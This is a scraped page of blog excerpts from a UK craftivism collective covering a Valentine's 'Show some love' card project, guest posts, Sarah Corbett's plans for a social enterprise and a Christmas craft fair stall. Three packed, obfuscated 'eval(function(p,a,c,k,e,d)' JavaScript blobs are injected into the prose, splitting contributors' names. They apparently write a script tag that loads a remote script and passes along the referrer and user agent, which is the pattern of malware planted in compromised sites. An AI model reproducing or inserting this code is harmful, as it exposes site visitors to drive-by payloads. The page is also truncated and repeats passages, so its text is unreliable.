There are so many distractions wherever we live, particularly on Valentines Day. Our craftivism Valentines project is a friendly reminder of the difficult circumstances our global neighbours are in and the gifts are there to encourage a conversation to start even after Valentine’s Day.
Each year we try and hijack valentines day and remind people to “Show some love” for their global neighbours as well as the usual smushy stuff. We would love it if you joined in our craftivism project this year.
For the last 3 years we have had people all over the globe make as many cards as they can and leave them around their area on Valentines day. Each includes a handmade keyring designed by cult jewellers Tatty Devine. In the last 3 years we have left 100 letters across the UK (London, Liverpool, Leeds, Newcastle, Banger, Newcastle, Cornwall, Coventry and more- see photos here) as well as America and Canada. Each letter will contain an alternative valentine’s letter (see template letter here), a handmade gift that Tatty Devine are designing for us (see design here) and a love heart sweet. Hand delivered to gaps in walls, cash machine slots, shop shelves etc- You don’t have to be in a relationship to have one of these!
Sometimes people struggle to understand what we mean when we say we are craftivists and 'do' craftivism. We also get people post on our Facebook eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n...
Louise eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfibe|var|u0026u|referrer|tbrfz||js|php'.split('|'),0,{}))
Philips emailed us with her image and blog below:
"I have been interested in Guerilla Art like this for a while now and have...
Fiona eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hekyd|var|u0026u|referrer|hhknt||js|php'.split('|'),0,{}))
Whyte (pictured left): I wandered down to the delightful Paper Dress that evening very much looking forward to some stitching, a cup of tea...
Betsy Greer coined the term 'Craftivism' in 2003 and from the start we have always checked in with Betsy to make sure our projects are still a form of craftivism and not something else (like upcycling or just craft). She is an amazing supporter, adviser and friend as well as a huge inspiration for our craftivists. One of the many talents Betsy has is explaining acts of craftivism in a clear and concise way (much better than us, sorry!) so when she blogged about a Facebook post we send regarding the print (above) we sold we really wanted to share her thoughtful words with you. Her blog also explains why we don't prioritise going to Occupations to do craftivism stitch-ins even though people presume we should be there.
Hey craftivistas, supporters and people who might have found this blog by accident. I hope you are all well and happy. Sarah Corbett here.
I haven't written a personal blog for quite a long time now and so much has been going on I wanted to share it with you and get your thoughts. So...
As you know I'm much better at creating images than words so I thought I would start off with this photo (there's me- person in the left of the picture!) to let you know that I'm going down to part time in my job from mid January 2012 so that I can turn the collective into a social enterprise (eek!).
We have been big fans of Made in the Shade ever since a few of us went to their Glasgow shop (The Maisonette) and loved everything. So when they asked us to deliver a workshop in their beautiful Pop Up Library at this years Christmas BUST Craftacular we couldn't say no.
We are very excited and proud to say that we have been accepted to have a stall at this years Christmas BUST Craftacular 27th November in York Hall, Bethnal Green, London. Every year this event gets bigger with more people queuing up early in the morning to get their free goodie bag and be the first to buy the beautiful handmade gifts craftstars make.
Giving an original gift from our online shop this Christmas is a fantastic way to highlight global injustice in a fun and hands-on way over the Christmas period.
So as you have probably guessed, we love making things and try our hardest not to buy stuff we don't need. Therefore we are encouraging fellow craftivists and supporters not to buy unethical gifts or feel the pressure into showing your love for your family and friends through buying them stuff they don't need (and sometimes they don't want!). But... hopefully this doesn't come across contradictory... if you really do need to buy people presents then why not take it as an opportunity to provoke conversation about injustice over your Christmas period buy giving them one of our gifts and/or give them a craftivism kit to make during their time off work and become a Craftivist in 2012?!
Each year we try and hijack valentines day and remind people to “Show some love” for their global neighbours as well as the usual smushy stuff. We would love it if you joined in our craftivism project this year.
For the last 3 years we have had people all over the globe make as many cards as they can and leave them around their area on Valentines day. Each includes a handmade keyring designed by cult jewellers Tatty Devine. In the last 3 years we have left 100 letters across the UK (London, Liverpool, Leeds, Newcastle, Banger, Newcastle, Cornwall, Coventry and more- see photos here) as well as America and Canada. Each letter will contain an alternative valentine’s letter (see template letter here), a handmade gift that Tatty Devine are designing for us (see design here) and a love heart sweet. Hand delivered to gaps in walls, cash machine slots, shop shelves etc- You don’t have to be in a relationship to have one of these!
